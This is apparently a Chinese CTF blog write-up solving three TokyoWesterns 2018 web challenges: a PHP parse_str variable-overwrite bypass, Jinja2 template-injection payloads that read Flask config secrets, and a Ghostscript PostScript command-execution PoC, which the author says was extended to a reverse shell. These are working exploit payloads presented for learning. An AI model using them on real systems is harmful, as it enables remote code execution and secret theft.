@shaobaobaoer
2018-09-08T04:51:35.000000Z
字数 5172
阅读 1585
未分类
之前忙着社团的一些事情,当初这场比赛也没有花很多时间打。这周末有空,决定把当初没有时间做的题目都做一下。
外国的比赛质量明显比某PWN鼎杯好上许多。在此写一下做题记录
<?php
require_once 'flag.php';
if (!empty($_SERVER['QUERY_STRING'])) {
$query = $_SERVER['QUERY_STRING'];
$res = parse_str($query);
if (!empty($res['action'])){
$action = $res['action'];
}
}
if ($action === 'auth') {
if (!empty($res['user'])) {
$user = $res['user'];
}
if (!empty($res['pass'])) {
$pass = $res['pass'];
}
if (!empty($user) && !empty($pass)) {
$hashed_password = hash('md5', $user.$pass);
}
if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {
echo $flag;
}
else {
echo 'fail :(';
}
}
else {
highlight_file(__FILE__);
}
首先这是 强等号,所以必须满足的条件是
$hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e'
但是很有意思的是,如果我没传递 user pass
参数的话,就不会更新 $hashed_password
这里的漏洞来自于 parse_str()
在PHP手册中有明确写出,如果没有第二个参数的话会引起变量覆盖
可以写个东西来验证这个漏洞
<?php
if (!empty($_SERVER['QUERY_STRING'])) {
$query = $_SERVER['QUERY_STRING'];
$res = parse_str($query);
}
var_dump($GLOBALS);
如你所见,当我们传入password的时候,实际上password这个变量已经存在了。
http://localhost/test.php?password=123&auth=123
'GLOBALS' =>
&array< 'query' => string 'password=123&auth=123' (length=21)
'res' => null
'password' => string '123' (length=3)
'auth' => string '123' (length=3)
所以最后的答案就是
http://simpleauth.chal.ctf.westerns.tokyo/?hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e&action=auth
>> TWCTF{d0_n0t_use_parse_str_without_result_param}
感觉这道题出的超棒的
参考了 WP
https://ctftime.org/writeup/10895
进去直接给了源码
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
乍一看这不是python的闭包么?一开始和阿辉看了半天看不懂...感觉自己编程功底还是太差了。
其实这个函数的内容,简化下来是这样【伪代码】
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
s = {% set config=None%}{% set self=None%} + path..replace('(', ' (').replace(')', ')')
return flask.render_template_string(s)
过滤了 ()
并把 self 和 config 设置为了 none
不妨先尝试一下 最简单的 ssti注入;确实是可以成功的
http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B'2'*5%7D%7D
>> 22222
config
传入 config
self
传入 {{self.__dict__}}
()
只要找一个有 os 的 subclasses ,可以参考我以前写的东西python 沙箱逃逸总结
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").__dict__.environ['FLAG']
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").__dict__.environ['FLAG']
## 作者给的; <type 'dict_keys'> 里本身就有 OS
[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']
当config,self,( ) 都被过滤的时候,为了去获得讯息,必须去读一些全局变量。比如说 current_app
比如说这样
__globals__['current_app'].config['FLAG']
top.app.config['FLAG']
我看完wp之后感叹,居然还有这样的操作?
首先,介绍一个很牛逼的函数,叫做url_for,可以参考flask的官方文档 flask.url_for
在它引用的内容中,有着 current_app 的全局变量
除此之外,还有函数包含了 current_app ,叫做 get_flashed_messages ,同样,可以参考官方文档 flask.get_flashed_messages
找到了current_app,一切问题就迎刃而解了
GET /shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
or
GET /shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
》》 TWCTF{pray_f0r_sacred_jinja2}
这道题目涉及 ghostscript 漏洞;对此我一点都不知道。日后会将这个洞系统得复现一下。这个洞在 8.21被报道出来,360CERT就将这个洞的细节发表了出来,可以参考 ghostscript命令执行漏洞预警
关于 ghostscript 也可以参考:
https://www.jianshu.com/p/0892b5d37ed0
https://www.anquanke.com/post/id/157513
准确来说,是这样子的:
PIL在对 eps 图片格式进行处理的时候,如果环境内装有 GhostScript,则会调用 GhostScript 在dSAFER模式下处理图片,产生命令执行漏洞。
其实这个漏洞是非常危险的漏洞。导致所有引用ghostscript的上游应用收到影响。 常见应用如下:
imagemagick
libmagick
graphicsmagick
gimp
python-matplotlib
texlive-core
texmacs
latex2html
latex2rtf
当然也包括了 PIL
访问 /source 得到源码
from flask import (
Flask,
render_template,
request,
redirect,
url_for,
make_response,
)
from PIL import Image
import tempfile
import os
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/source')
def source():
return open(__file__).read()
@app.route('/conv', methods=['POST'])
def conv():
f = request.files.get('image', None)
if not f:
return redirect(url_for('index'))
ext = f.filename.split('.')[-1]
fname = tempfile.mktemp("emoji")
fname = "{}.{}".format(fname, ext)
f.save(fname)
img = Image.open(fname)
w, h = img.size
r = 128/max(w, h)
newimg = img.resize((int(w*r), int(h*r)))
newimg.save(fname)
response = make_response()
response.data = open(fname, "rb").read()
response.headers['Content-Disposition'] = 'attachment; filename=emoji_{}'.format(f.filename)
os.unlink(fname)
return response
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8080, debug=True)
我尝试上传了一个图片,结果是 500 的错误。
后来按照WP也不能复现,推测是服务器挂了。对此,我只能在本地模拟一下这个漏洞的过程。
对于这个漏洞,有很多套路了。具体可以看看这边
ghostscript: multiple critical vulnerabilities, including remote command execution
我在本地复现了这个漏洞,具体的POC如下
命名一个 shell.jpeg 文件,内容如下(实际上这是postscript)
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
随后,给予文件7xx的权限。之后,我们执行convert指令
可以发现shell已经能够成功执行了。
我们可以给予更大的扩展攻击面。比如说反弹shell
我将 id 的部分改为 反弹shell一句话
随后,在我的VPS上接收shell。
如你所见,已经成功执行。
我这里用的是 imagemagick 实际上用PIL也是一样的。
如下所示
当然,如果用PIL的话,是不能直接读上面的那个POC的。我也不知道为何,自己对于 postscript 也不是很了解。wp中是一个 eps 的文件。而上述POC中是一个 PS 格式的文件。
我将 WP 中的poc修改为了自己VPS的地址,它成功执行了。